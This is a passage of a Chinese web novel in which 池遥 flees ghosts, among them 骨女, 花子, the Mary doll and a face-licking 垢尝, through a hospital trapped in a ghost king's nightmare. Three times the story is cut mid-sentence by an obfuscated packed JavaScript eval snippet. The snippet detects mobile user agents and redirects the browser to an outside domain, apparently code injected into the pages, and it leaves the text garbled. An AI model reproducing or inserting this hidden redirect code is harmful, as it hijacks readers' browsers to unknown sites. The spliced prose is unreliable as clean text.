趁着身边的人朝后看,池遥朝后推了一把女人的肩膀,再次挣脱她的手,向前快速跑去。 身后的声音已经不再跟随她的步伐变化了,若是再不跑,恐怕没几步就会被身后的人追上。 “啊啊啊啊啊啊啊啊!” 身后,传来骷髅女子的尖叫声,紧接着,是比池遥更快的脚步声,她身高腿长,跑起来也比池遥快上不少,没几步就追上了池遥。 “那那那......那是什么东西?” 她看上去惊魂未定,比池遥还要恐惧得多。 “不知道。” 池遥诚实地摇头,刚刚只是扫了一眼,并未看清,又问她。 “你看清了吗?它长什么样?” “是个身子断成两截的女人!”骷髅女的声音异常尖利,“她爬行的速度好快!你也跑快一点!别让她追上咱们!” 说完,她立刻加速,想要跑到池遥前面,然而身旁的池遥已经伸出了手,死死抓着女人的手借力,硬生生拖住了她的速度。 “等等!我跑了半天都没劲了!你拉我一把!” 池遥是真的跑不动了,她身体强化前根本不锻炼,八百米总是不及格,现在已经濒临极限了。 “你怎么欺负人......欺负鬼啊!”骷髅女气得破口大骂,“我本来凭自己的速度很快就摆脱她了,现在又加上个你!” 池遥拉着女人的手,然而女人从手腕开始,就只剩下骨架,她力气又大,没几下就扯得整个手掌晃晃悠悠。 “等等!你放手!手要断了!” 女人终于败下阵来。 “我知道了!我拉着你跑!你别拽我的手,拽其他地方!” “好!” 池遥顺着手向上摸,一把扯住女人上臂的骨头,在女人身体被她扯得一顿的瞬间,猛地跳起来,一把从后勾住了女人的脖子,双腿也夹紧了腰部的骨头,直接骑在了对方的背上。 “你还要不要脸?” 骷髅女当即就想把背上的池遥甩下来,碍于身后的人还在追赶,又不能停下,只能一边跑一边大骂出声。 在女人刺耳的怒吼中,能短暂歇一会儿的池遥终于松了一口气,露出暂时安心的笑容。 “太感谢了,家人,怎么称呼你?” “骨女!” “好嘞,骨女,快给我讲讲,这一切都是怎么回事?” 45. 百鬼夜行3 传闻中,有一名生前被蹂躏而死的艺伎,死后化作厉鬼,因为尸体只剩下一堆骨头,她披上人皮,化为美艳女子,在夜半时分引诱男子,施行报复。 民间将此鬼怪称之为,骨女。 而此时此刻,这位骨女正背着池遥,一边毫无形象地破口大骂,一边拼命逃跑,与传闻中对骨女的描述简直相差了个天翻地覆。 说出自己的真实身份时,骨女不由地为自己此时的处境感到羞愧,她堂堂一个强大的厉鬼竟然被一个人类耍得团团转。然而趴在她背上的女生却毫无自觉,一副认真聆听的样子,还配合的发出“哇!”的感叹声。 “原来你们真的是鬼怪啊!”池遥感叹了一句,只觉得自己的世界观在今天被再次刷新了,她一向是个无神论者,但此时发生的一切扭转了她的观念,“我还以为鬼怪是不存在的呢!” “对。” 逃跑间隙,骨女抽空扭头看了池遥一眼。 “在你们的世界,并不存在鬼怪。我们是意外来到你们的世界的。” 这句话的信息量实在太大,池遥不由愣住了,半天没说出话来。 最让她费解的,是骨女口中的“你们的世界”的概念,这个概念过于宏大,一时之间,她无法完全理解。 大家不是都生活在同一个世界里吗? 还是说,骨女的语言系统和对某些字眼的理解与她不同? “世界?是什么?地球吗?” 她忍不住轻声念叨,骨女自然也听到了她的话。 “不是的,就是世界,你所生活的世界。”骨女也没想到池遥会不理解世界的概念,“我们原本都是生存在另一个世界的鬼怪,被一个人类吞噬了。他现在来到了你所在的世界,我们自然也来到了这里。” “吞噬?你们不是鬼怪吗?怎么会被人类吞噬?” “因为那是一个天赋者。”一想到此事,骨女就气得牙痒痒,“他的能力是驱策灵魂,也包括我们这些鬼怪。他会直接把我们吞噬到体内,有用的时候再把我们放出来。” 池遥沉默了。 在踏入医院后院的瞬间陡然变暗的天空,在踏入医院这段时间不间断的看到的各类鬼怪在她眼前闪过,想到这里,她忍不住发出真心实意的疑问。 “所以,我们现在是在他的体内吗?” 不太对吧? 池遥的大脑飞速运转起来。 她本以为是因为自己是附近仅有的人类,鬼怪都是被她吸引而来的。 难不成是她走错了路,闯进了这个,呃......天赋者的体内空间,才会看到如此多的鬼怪吗? 那她又该如何离开呢? “不是,我们现在在他的梦里。” 然而,骨女却说出了一个更为震撼的答案。 “对他而言,只是做了一个噩梦而已。但他的能力过于强大,将我们这些被他吞噬的鬼怪和周围的路人都拉进了他的梦境当中。我们现在所在的医院,已经被他的噩梦笼罩,成为一个独立空间了。” 池遥努力消化对方的话。 “等等,那我之前能力失效,其实并不是我的问题,而是因为我现在身在他人的梦里吗?” 她的两只手勾在骨女的脖子上,无法移动,只能低下头,隐约看到了垂在胸口的吊坠。 吊坠不能使用也是这个原因吗? “是的,在这场噩梦里,他自己的能力或许也失效了。不然我们这些鬼怪不会被放出来。”骨女叹了口气,“本以为可以潇洒一会儿,但那家伙究竟吞噬了多少鬼怪,这里怎么到处都是比我还恐怖的玩意儿?” 池遥在心中暗暗松了口气。 还好,她的能力并未真的消失。 噩梦总会醒来,她只是被其他天赋者的噩梦波及的无辜路人,只要对方一醒来,她就可以继续踏上去江北避难所的旅程了。 “那我要怎么脱离这个梦境,你说的天赋者,他什么时候会醒?” 她开口问道。 “......不知道。”骨女沉默半晌,开口道,“我们都不知道他的噩梦会持续多久,最好的情况就是找到噩梦中的他本人,让他自己从梦中醒来。” 听完骨女的话,池遥也跟着沉默了。 “好吧,那你们所说的那个吞噬了你们的天赋者,究竟是什么人?” “我们对他也一无所知,但是其他世界的人都称呼他为——” “鬼王殷蘅。” 池遥将这四个字在脑中过了一遍。 鬼王。 什么样的人才会拥有这样的称呼? “啪嗒!啪嗒!” 身后近在咫尺的声音将池遥的思绪唤回了现实。 刚才,骨女一直都与它保持着不近不远的距离,一人一鬼才有空交换情报,主要是池遥向骨女提出问题,但此时,只剩下半截身体的女鬼似乎厌倦了漫长的追逐游戏,加快速度想要将她们一举拿下。 “啊啊啊啊啊她什么时候追上来的!” 骨女发出了撕心裂肺的惨叫,加快脚步向前冲,这下一人一鬼也没时间聊天了。 只不过,池遥从骨女的话中,已经隐约拼凑出些许她过去从未得知的事实。 所谓的“世界”不止一个,至少还存在一个存在鬼怪的世界,而从骨女的话里的意思来看,似乎还有着多个“世界”。 而这个名为殷蘅,也有可能他的名字真的是四个字,这位鬼王殷蘅,则具备从一个世界穿行到另一个世界的能力。 所以,从某种意义上来说,不同世界之间是存在联系的。 并且,鬼王殷蘅是一个来自其他世界的天赋者,那么,天赋者这个概念在其他世界也同样存在。 那么,其他世界也有丧尸吗?还是只有她所在的世界有丧尸? 自己并非天赋者,也不是行尸,她又是什么呢? 这些问题,骨女想必并不知道答案,但这并不预示着没人能给出答案。 如果,她能找到那位鬼王殷蘅的话,想必这些疑问一定可以从他那里得到答案。 “池遥!前面没路了!”骨女的声音近乎破音,她们已经沿着走廊跑到了尽头,剩下唯一一条路就是侧面的消防楼梯间。 “左边走!下楼!” 池遥指了一下虚掩着的楼梯间大门,楼上有口裂女,楼下有人面犬,两相对比,还是人面犬更好对付一点。 有了楼梯的阻隔,她们与身后爬行的鬼怪稍微拉开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296102|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点距离。 “我之前本来想穿过医院的后门的,不过我如果跑出医院大门,会自动离开梦境吗?” 池遥想到自己最开始的打算,问道。 “不会,我也不知道你跑出医院大门后会发生什么,也许会永远迷失在梦境里。” 骨女此时已经跑得上气不接下气,听到池遥的问题立刻升起一股无名火,不由地一把把她从背上甩下来。 “你很闲是吧?你下来!自己跑!” 池遥在骨女背上休息了半天,听见此话也唤起了她不多的愧疚心,便顺着骨女的动作落地,一刻不停地拉着骨女的衣袖,和她一起向前跑去。 一楼的走廊比起二楼更加宽敞些,池遥和骨女并排向前跑去,跑了好一会儿,池遥的动作越来越迟钝,最开始是她拉着骨女跑,现在骨女不得不扯着她跑。 身后的声音越来越近。 有那么一瞬间,池遥脑中真的闪过了放弃的想法。 但是,就在此时,距离她极近的距离,响起了一个熟悉的声音。 “找到你了!” 声音浑厚,听起来正值中年。 池遥低下头,就在她面前的地上,一张狂笑着的脸跃入她的视线。 在一楼找她的人面犬正从另一个方向朝她扑来! “我的天!” 骨女也是第一次见到这么多鬼怪,第一次见,被人面犬的脸吓了一跳,前有人面犬,后有高速爬行的女鬼,连躲闪都没地方躲。 池遥握紧了骨女的手。 没有时间思考,几乎是瞬间,她硬生生拐了个弯,带着骨女在原地绕了个圈子,躲过了朝她扑来的人面犬。 “嘶——” 池遥险险避开了人面犬,同时也阴差阳错避开了身后不知何时支起身子,朝她伸出手的爬行女鬼。 然而,扑向她的人面犬却直直撞进了女鬼的怀里,被她转瞬之间撕成了两半。 耳边回荡着令人牙酸的皮肉撕扯声,池遥拉着在原地发愣的骨女,快速离开。 不知道跑了多久。 身后啪嗒啪嗒的声音消失了。 看来,在解决了人面犬后,那只在地面上爬行的鬼怪已经不执着于她的性命了,池遥终于松了一口气,她再也跑不动了,靠着医院走廊的墙壁一屁股坐了下来,大口喘气。 “我不行了,这都是什么鬼怪啊!” 她歇了一会儿,又想到骨女说过的话。 “不对,我不是在梦里吗?为什么还会感觉到累?” “又不是在你自己的梦里。” 骨女在一旁倚着墙壁站着,闻言淡淡地回了一句。 “说得也对。” 听了这话,池遥深深叹了口气,仰起头,将脖子连着脑袋靠在墙壁上,目光从高处的骨女身上移开,漫无目的地扫视四周,最终盯着头顶的墙壁出神。 年久失修的墙壁上已经出现了好几条细缝,如果不仔细看还看不出,池遥不想动弹,维持着仰头的姿势,数着墙壁上总共有几条缝隙。 然而,就在她的目光定在其中一条缝隙之中时,那条缝隙却突然动了! 一一枚眼珠在缝隙之后隐隐透出轮廓,毫无感情的目光与她对视。 46. 百鬼夜行4 眼前的场景过于惊悚,池遥一时间连动都不敢动弹一下,目光直直地与那枚眼球对视,不敢移开视线。 在池遥的目光之下,那枚眼珠越来越靠近缝隙,几乎要从缝隙中挤出来。 先是眼珠,紧接着是整张脸,随后,连同娇小的身子一起从缝隙中显现出来。 是个身形小小的,看起来十三四岁的女孩。 “你看到我啦?” 女孩子的声音很甜,语气是上扬的调子,但眉眼中的笑意却俨然表现出,她说的是陈述句。 幸好,尽管最初对视时,池遥仅看到了她的眼睛,但当缝隙里的女孩真的现身时,模样与普通人无异,让池遥免受了第二次惊吓。 倒是一旁的骨女看到缝隙里突然钻出了一个孩子,吓了一跳,不由后退两步,又意识到池遥离得比她更近,伸手拉了一把池遥,直接把坐在地上的池遥拽了起来。 池遥叹了口气。 即便知道了自己所处的环境,但一个接一个冒出来的鬼怪还是让人头疼。 她原本是个胆子小的人,可连着好几个小时受到各种冲击,现在虽然还是会被突如其来的恐怖事物吓一跳,但已经丧失了积极应对的心态,整个人已经麻木了。 她一句话不说,目光幽幽地盯着缝隙中的女孩,等着她的后话。 “来玩捉迷藏吧!” 她的音调一直都维持在上扬的区间,听起来难免显得有点诡异,池遥等了半天就等来这样一句话,眼看着她又要回到缝隙中,不由伸手按住了对方。 “等一等。” “你又是什么东西?为什么要玩捉迷藏?” 与骨女的沟通证明了这些鬼怪是能够沟通的,眼前的鬼怪长相也不骇人,池遥索性开门见山提问。 “我住在缝隙里,门缝,窗缝,墙缝......我躲在这里,窥视每一个人。”明明被池遥按住,小女孩面上却仍旧带着诡异的微笑,“你一进门我就发现你了,看你被不同的鬼怪追逐真有趣呀,我一直跟着你,等待你发现我呢!” “发现了你,就要和你玩捉迷藏吗?” “当然了,这是我的规矩!”说到这里,小女孩在池遥手下挣扎了几下,身体慢慢变成透明状态,池遥立刻感觉到手掌下的实体在慢慢消失。 她的身影逐渐消失,从池遥手下无声无息地飘散,只留下了一句话。 “不过,你下一次看到我的时候,可没有那么好运了哦!” 一句话说完,还带着尖利的笑声作为回响。 “你要去找她吗?” 骨女在一旁问她,池遥刚想回答,手腕却猛然一震。 “叮——” “你来电话了?” 身旁的骨女第一时间注意到了池遥手腕间疯狂震动的手表,帮池遥按下了接听键。 “我是......玛丽,我在走廊里。” 又是一句没头没脑的话,这一次,嘈杂的电流声改善了很多,池遥终于清晰的听清楚了每一个字。 这句话刚说完,电话就被对面挂断,再次失去了音讯。 一波未平,一波又起。 上一次接到玛丽的电话时,池遥满脑子都想着如何逃脱白衣女鬼,没有仔细探究电话内容,而此时,当电话里的声音逐渐清晰起来,她才想到了一个故事。 “你知道玛丽人偶的故事吗?” 她问一旁的骨女,没等对方回答,已经凭记忆讲了出来。 “据说有个女孩遗弃了一个名叫玛丽的人偶。有一天,她突然接到电话,电话的内容是:我是玛丽,我在垃圾场。” “后来,又接到第二个电话:我是玛丽,我路过了学校。” “这之后,她又不断接到电话:我是玛丽,我路过了便利店。” “我是玛丽,我在你家门口。” “我是玛丽,我在你背后。” “......” 池遥的故事到此戛然而止,骨女等待了半天也没见她说话,忍不住问:“然后呢?” “然后就没有然后了。”池遥印象里,故事正是到此为止,怪谈的结尾总是扑朔迷离,点到为止的恐怖氛围比直白的死亡结局更吸引人。 “但多半是没命了吧,不知道是什么情况。” 池遥叹了口气,盯着手表屏幕,想到玛丽的电话,又自我安慰一句。 “也没关系,她现在才打第二个电话,应该不至于那么快。” 在一旁听完整个故事的骨女沉默了一会儿,忽然问。 “你对这些怪谈故事很熟悉吗?” 池遥刚才讲故事的样子显然对这个故事熟记于心。 “啊......” 池遥难得有些尴尬,她张口前犹豫了半天,硬着头皮道:“其实是我喜欢玩的乙女游戏里出现过这些故事,所以印象很深刻。” 那个乙女游戏的卡带就放在她的吊坠当中,只可惜她的思维驰游戏机电量耗尽,不然有机会还能打开回顾一下。 更何况,她并非对所有鬼怪的来历了然于心,比如骨女,若是骨女没有主动说明自己的经历,池遥根本不知道。 玛丽人偶的事先放一边,眼下,还有一件更为重要的事。 “还有捉迷藏......”池遥重复着缝隙中的女孩最后的话语,深深叹了口气,从女孩最后留下的话语中可以判断,找到对方似乎并不是个好结果,“听起来有诈,还是先不找了。这一层太危险了,我们先上楼,再做下一步打算。” 此时的一楼虽然已经没有人面犬,但却多出一个在地上爬行的鬼怪,危险程度直线上升。 她们不敢走回头路,从另一侧的楼梯上了楼,二楼走廊地面上遍布着大片的血痕,仿佛是什么人在地上拖行一般,留下大片大片的条状痕迹。 血迹看起来是最近发生的事。 池遥盯着地面上的血迹看了半天,才反应过来,是因为在二楼爬行的鬼怪只有半截身子,在地面上爬行时自然会留下一道道血迹。 拐了个弯,周边的走廊墙壁上开始出现了色彩鲜艳的装饰品,角落里堆着不少玩具,因为玛丽人偶的阴影,池遥现在不敢主动触碰任何物品,但看到这些东西,她立刻反应过来。 她们这是来到了儿科区域。 自古以来,与孩子相关的怪谈不计其数,池遥方才在缝隙中遇到的鬼怪也是孩童面貌,两人不敢停留,快速前进,然而,在路过一个病房的时候,骨女却发现池遥的脚步慢了下来。 “怎么了?”她有种不好的预感。 “我发现了一个有趣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16300346|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的东西。”池遥推开病房大门,指着桌上的东西。 二人面前的病房显然是一间儿童病房,而这间房间的病人似乎年纪尚小,墙壁上还挂着拼音表,床头柜上放着一摞故事书。 在靠近病房大门的空地上,摆放着一张小桌子,桌上平铺着一张横版的拼音表硬纸,诡异的是,在拼音表上,零零散散摆了几枚硬币。 池遥将散落在拼音表表面的硬币收起来,仔细观察,其中有一枚硬币表面沾了些许红褐色的碎屑,不知道是金属生锈还是其他的污垢。 检查结束,她反而在桌边坐下来,拿笔在硬纸板的空白处写下几个大字,还招呼骨女一起过来。 “你又要干什么?” “你听说过银仙的故事吗?” 池遥将那枚沾染了污垢的硬币摆放在拼音表正中间,深深吸了一口气,伸出食指,小心翼翼地搭在硬币之上,见骨女半天没有动作,并不配合,只好再次开口解释。 “传说,只要用硬币和纸板召唤名为银仙的狐妖,就能向它提问任何想问的问题。” “我是觉得,一路走来遇到了那么多鬼怪,说不定银仙也碰巧在其中呢,正好问问捉迷藏的问题。” 说完,池遥再次示意骨女像她一样,将手指放在硬币上。 “仪式结束前不要放开手哦。” 二人相对而坐,各伸出一只手指放在钱币上,池遥深吸一口气,轻声开口。 “银仙银仙,请出来和我们玩吧。” 一片死寂中,只有她的声音响起,音量不大,却掷地有声。 然而,手上的钱币却分毫不动。 池遥僵着身子不敢动,手指自虚空中紧紧按住钱币,手臂很快就感受到了酸痛感,指尖微微抖了一下,随后用更大的力气压住了钱币。 难道是她猜错了?这片空间里并不存在银仙? 池遥心中有点忐忑,这种情况她不是没想过,反而是真的有银仙存在的可能性更小些。 但还是有些微的失落。 她的话语已出,就算要结束游戏,也需要等开口将银仙送回原处,才算是不破坏仪式。 垂在身侧的另一只手微微攥拳,她深吸一口气,刚想开口,突然发觉手指下的硬币微微一动。 银仙,已经来了。 硬币带动着一人一鬼的手指缓缓移向池遥预先画好的位置,停下了。 “银仙银仙,”第一个问题往往不重要,“请问你是男性吗?” 硬币缓慢地在拼音表上移动起来,池遥在心里将硬币停留过的点位拼合起来。 【是。】 来的的确是银仙。 “银仙银仙,”这一次,池遥在心中组织语言,小心翼翼地问出自己心中的疑问,“我刚才遇到了潜藏在缝隙中,形似十三四岁小女孩的鬼怪,她邀请我去玩捉迷藏,请问如果我找到了她,会发生什么事呢?” 手下的硬币一动不动。 难不成她问的问题超纲了?银仙也不知道这个问题的答案? 不久后,硬币缓慢的移动起来。 这一次,它移动的路径比上次复杂几倍,池遥不得不用另一只空闲的手执笔记录下来。 最后,得出了一行答案。 【会带你去另一个空间。】 47. 百鬼夜行5 得出这个答案后,池遥和骨女对视一眼,彼此脸上的表情都不太好。 “银仙银仙,我们下一次再玩吧,请你回家吧。” 说完这句话,池遥对想要移开手的骨女摇了摇头,二人又等了几分钟,手下的硬币没有任何动静,银仙已经被送走了。 池遥这才放下心来,很骨女一同松开手,将纸笔和硬币装进病房里的空包里,背着包站了起来。 “你要带着这几样东西走吗?” “对,感觉以后还能用得上。”池遥颠颠肩膀上的包,回答道。 一会儿不知道还会遇到什么东西,银仙就相当于一本万能百科全书了,这种东西当然要随时带在身边。 骨女走在前面,打开病房门,率先走了出去,池遥跟在她身后。 依稀有月光从病房的窗户外投进房间内,隐约的光源之下,池遥脚下的人影模糊不清。 除了她脚下属于自己的影子之外,在她身后几步之遥的地板上,凭空出现了一个新的影子。 那是个极为高大的人影,唯一诡异的一点是,人影背后是一簇巨大的尾巴。 儿科病房的面积比池遥和骨女想象的还要大,两人走了一会儿,遇到消防楼梯时再度上了楼。 医院三楼仍旧一片死寂,路过病房的时候,池遥从门外向病房里的窗外看去。 果不其然,又看到了对面病房,状似仰望星空的少女。 她收回视线,没走几步,手腕上的手表再次震动。 距离她上一次接到电话的时间应该没隔太久,看来玛丽人偶打电话的频率也在加快。 按照这个进度,过不了多久,她就要与玛丽碰面了。 池遥将手表贴在耳边,听到熟悉的声音再度传来。 “我是......玛丽,我在楼梯间。” “楼梯间?”池遥跟着小声自言自语,嘴却突然被一旁的骨女捂住,她不由抬头看向对方,只看到骨女朝她摇了摇头。 电话很快又一次自动挂断,池遥看向站在自己前面不远处的骨女,此时,她们已经来到了一个拐角处,骨女侧身倚在拐角的墙壁上,一言不发地盯着池遥。 发生什么了? 池遥微微探头,隐隐看到前方另一侧的走廊里,有一个人影正朝着她们所在的方向接近。 此人穿一身白衣,戴着口罩,披散的长发与瘦弱的身躯让她看起来不过是一个弱不禁风的女子。 但池遥瞬间就认出了女人的真面目。 是她躲在病房里时看到的口裂女。 过不了多久,对方就会走到她和骨女所在的拐角,发现她们的存在。 池遥拉着骨女的衣袖,悄无声息地一步步向后退,她们身后不远处,是医院的厕所,男女厕各一边,二人就退到了女厕所门口。 沿标识走进女厕,厕所分为两个部分,一半是卫生间,一半是公用浴室,池遥在卫生间和浴室二者中果断选择了卫生间。 “为什么不选择浴室?” 骨女跟在池遥后面进来,却没有朝里面走,而是站在门口把守,见池遥进了厕所,压着音量问。 “感觉浴室的鬼怪会比厕所的更多一点。” 不仅如此,怪谈中出现在女厕的鬼怪,池遥大多有些印象,就算真的遇到了也不至于束手无策。 池遥在隔间外,盥洗台上方的镜子前照了照自己的脸,因为不停奔波,她的脸颊沾染了好几块污渍。 池遥用手指揩了一把脸,非但没有擦干净,反而把脸抹得更脏了。 不知道这里的洗手台有没有水。 池遥习惯性地伸出手,刚想拧开水龙头,忽然一个激灵,连忙抽回手。 方才,她的视线一直没注意过洗手台的水池。 一片黑暗中,只见一只惨白的手掌突然从下水口伸出,尖利的指甲迅速抓向池遥的方向,幸好池遥收手更快一步,同时连连后退,才躲过去。 果然,医院,女厕所,双重buff带来的威力不容小觑。 池遥被吓得心脏怦怦跳,不由满脑子想一些乱七八糟的烂梗来冲淡自己的情绪,从坦克是没有后视镜的想到了你有点不乘哦,总算是把恐惧感压了下去。 等她自觉恢复得差不多了,转过身来,又被吓了一跳。 池遥刚才后退得太快,已经退到了洗手台对面的女厕所隔间门前,此时一转身,才发现在自己身后的隔间门前,直挺挺站着一个比她稍矮一点的女孩。 她们距离实在太近,近到池遥能感受到对方身上冰冷的寒气。 她急忙朝另一侧挪了两步,既不靠近水池,又和女孩保持距离,才主动开口:“你是谁?” 话音刚落,在厕所门口观察口裂女动向的骨女也走了进来,看到池遥对面的人,脸上的表情立刻明朗了不少。 “花子小姐!” 原来是熟人。 听到花子小姐这四个字时,池遥也立刻反应了过来,她的传说实在太有名了,池遥玩过的游戏,看过的动漫中有不少改编自她的故事。 传说,学校三楼女厕的第三个隔间里住着花子小姐,只要隔着门叫她的名字,隔间里就会有人声回应。 而此时,花子小姐站在医院三楼女厕的第三个隔间门口,与骨女叙旧。 “其实我认识的同类还是很多的,只是刚才碰巧都是没见过的鬼怪罢了。” 和花子小姐说完话,骨女拍拍池遥的肩膀。 “你看到鬼怪时的尖叫声比我还大噢。”池遥没信骨女的话,扭过头和花子小姐说话。 “花子小姐,你也知道鬼王殷蘅这个人吗?” 听到池遥的话,花子先是抬头看了一眼骨女,随后才点了点头。 “没错,你应该已经知道殷蘅的存在了吧。” “我们都是被他吞噬的鬼怪,现在他的梦境不受控制,我们都被卷进了他的梦里。” 池遥点点头,思考片刻,问出了一直想问的问题。 “他现在应该也在梦境里吧?是不是只有找到他本人才能脱离这个梦境?花子小姐知道他在哪儿吗?” 花子侧过头看她,这个常常出现在怪谈中的女孩在不说话时表情总是显得漠然,眼神也没有温度,被她注视时,仿佛被冷血动物死死盯住。 “看来骨女没有告诉你事情的全貌啊。” 半晌,花子小姐深深叹了口气。 “在他的体内,我们和死了没什么区别。反而在这场梦里,还能享受片刻的自由。所以,大多数鬼怪都不希望他醒来,甚至会阻挠想要叫醒他的人。” “我确实知道他所在的位置。”花子小姐的声音越来越冷,“但就算告诉你,你也无法找到那里。” “鬼王殷蘅,此时正处于另一个空间里。” “不属于现实,也不完全属于梦境的另一个空间。” 另一个空间? 听到这话,池遥不由地蹙起眉头。 这几个字,正是不久前银仙给出的答案。 可是,除了现实与梦境以外,到底还存在多少个空间? 两个问题指向的,会是同一个空间吗? “原来是这样。”池遥整理好脑中的信息,朝花子小姐点点头,“花子小姐对鬼王的了解似乎,似乎比骨女要多呢。” 她小心翼翼地打探道。 “我们是在上一个世界被他吞噬的,只不过我被吞噬的时间更早,对他的了解也更多一些。” 说这话时,花子小姐的神情变得不那么冷漠了。 “他会把吞噬掉的灵魂超度掉,但拿我们这些鬼怪没办法,只能把我们存放在他的体内。” 上一个世界。 池遥再度注意到花子小姐话中的字眼。 在这之前,骨女也提及了“世界”的概念,可见,对于这些鬼怪,对于那位被称为鬼王的天赋者而言,“世界”是一个很常见的概念。 但但这一次,花子小姐提到了“上一个世界”。 也就是说,在此之前,还会有上上个世界和下一个世界。 一直以来,池遥认知中的世界就是她赖以生存的地球,再扩大到太阳系,银河,宇宙...... 但显然,骨女和花子小姐口中的世界是处于她认知以外的,全新的存在。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16311567|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“叮——” 手腕再次传来猛烈的震动,又是玛丽的电话。 池遥向花子小姐投以抱歉的目光,匆匆走到女厕门口,也是紧闭的浴室正对面,才接通了电话。 “我是玛丽。” 这一次,电话里的声音异常清晰,没有电流声,没有可疑的停顿,流畅得仿佛不是通过手表,而是直接站在她身边与她对话一般! “我在你背后!” 与此同时,池遥清晰地听到了玛丽人偶的声音就从她身后传来! 大脑还没来得及做出回应,身体已经凭本能向前一扑,可池遥面前是浴室的大门,她一扑,正好撞开了浴室门,面朝下重重地摔在了浴室潮湿的地面之上。 然而,追在她身后的玛丽人偶原本朝着池遥站定的方向高高跳起,池遥此时一摔,直接趴在了地上,小小的人偶直接越过倒下的池遥,落到了池遥面前不远处的地面上,又因为满是水渍的地面,“啪叽”一声滑倒在地上。 在人偶背后,是一个拉着浴帘的巨大浴缸。 池遥一秒都不敢耽搁,撑着地板还没等完全站起来,就一点点向后挪去。 人偶很快就立了起来,重新转向池遥的方向。 池遥这才看清,这是一个欧式风格的迷你人偶,看上去十分眼熟,她在初入医院的时候就见过这个小东西,当时还因为好奇拿在手里把玩过。 谁能想到那居然是玛丽人偶! “池遥!” 骨女也从厕所里追了出来,看到池遥不知为何倒在浴室地上,在她对面,是一枚巴掌大的精致人偶,不知为何,那枚人偶面部雕刻成一条线的嘴角,似乎有几分诡异地上扬。 “这就是玛丽……”她立刻猜出了池遥对面人偶的身份,话刚说一半,突然戛然而止,已经挪到门口的池遥只看到她瞪大了双眼,一脸惊愕。 “我的天!” 声音只剩下气声,隐隐颤抖。 池遥一把撑着地板站起身,窜到浴室门外才转过身。 在骨女的视线中,人偶原本朝着池遥的方向起跳,试图再次用同样的方式接近她。 然而,玛丽人偶背后的浴帘内却突然伸出了一只手。 那条手臂白皙,纤细,手指修长,指尖染成鲜艳的红,一把抓住了地上的人偶,缓缓举起。 紧接着,浴帘被另一只手拉开,浴缸里的人露出了真面目。 那是一个抱膝坐在浴缸中的女孩,看起来年纪不大,浑身纤弱,白皙。 然而,在她惨白的面颊之上,原本镶嵌着眼珠的位置却只剩下了两个黑黢黢的窟窿,大量的鲜血自眼洞中涌出,沿着她的脸落在浴缸里鲜红的水面上。 “啊呀,原来是个人偶......” 少女的声音飘飘忽忽,只剩下气声,两只手在人偶身上摸索个不停,最终深深叹了一口气。 “好可惜,还以为又有新朋友了呢!” 池遥和骨女就站在门口,眼前的一切太过诡异,两人动都不敢动。少女只要一抬头,就能看到对面距离不过几米的池遥,但她并未发现,看来的确是看不见东西。 然而,池遥此时尽管手握浴室门把手,却不敢关门,环境实在太安静了,她稍有动作,就会被对方察觉到。 这时,从浴室另一侧的浴帘中,缓缓伸来一条鲜红色的触手形状物体,蠕动着朝浴缸接近,它浑身布满粘液,在地上蠕动时蹭得地上满是潮湿的粘液。 到浴缸附近时,这条触手突然抬起来,软软地摩挲着少女手中的人偶。 “恶心死了,垢尝!把你的舌头收回去!” 少女厉声喝道。 那东西是舌头? 池遥急忙朝着舌头伸出的方向看去,只见地面上突然多出一只尖爪,看上去与人的手掌相似,但指甲十分尖利,五指像弯钩一般死死钉住浴室地面。 其他的身体部分隐在浴帘之下,她只看到一只爪子。 “说了收回去听不见吗?” 在少女更大声的责骂中,池遥小心翼翼地关紧了浴室大门,一秒钟都不敢停留,拉着还没缓过神的骨女,拼命跑向走廊。 48. 百鬼夜行6 “我好像听说过垢尝这个名字。” 跑了一会儿,确定没有鬼怪追上来后,池遥拉着骨女进了一间空病房,听到了骨女的话。 “好像是专门舔食浴室污垢的妖怪,没什么攻击性。” 池遥想到那条巨大的舌头,忍不住打了个寒战。 就算是无害的妖怪,长得也有点太恐怖了。 更何况,在看到那条布满粘液的舌头,此时又听骨女说起垢尝的故事,池遥忽然想到了她刚才不小心摔进的浴室。 浴室本应该荒废已久,但地面上却还满是水渍。 地面上的水渍,难不成也是被垢尝的舌头舔食过的痕迹? 想到这里,池遥一阵恶寒,顿时生出了立刻洗手洗衣服的冲动,又顺势想起了从女厕所洗手池下水道口中伸出的手掌。 尽管并不恐怖,不过是一只再普通不过的手而已,但足够诡异,让池遥心里再度发寒。 还是不要再想这些事了。 两人在病房的床边坐了下来,池遥摘下装着拼音表和硬币的包,将里面的东西掏了出来。 “你又要召唤银仙?” 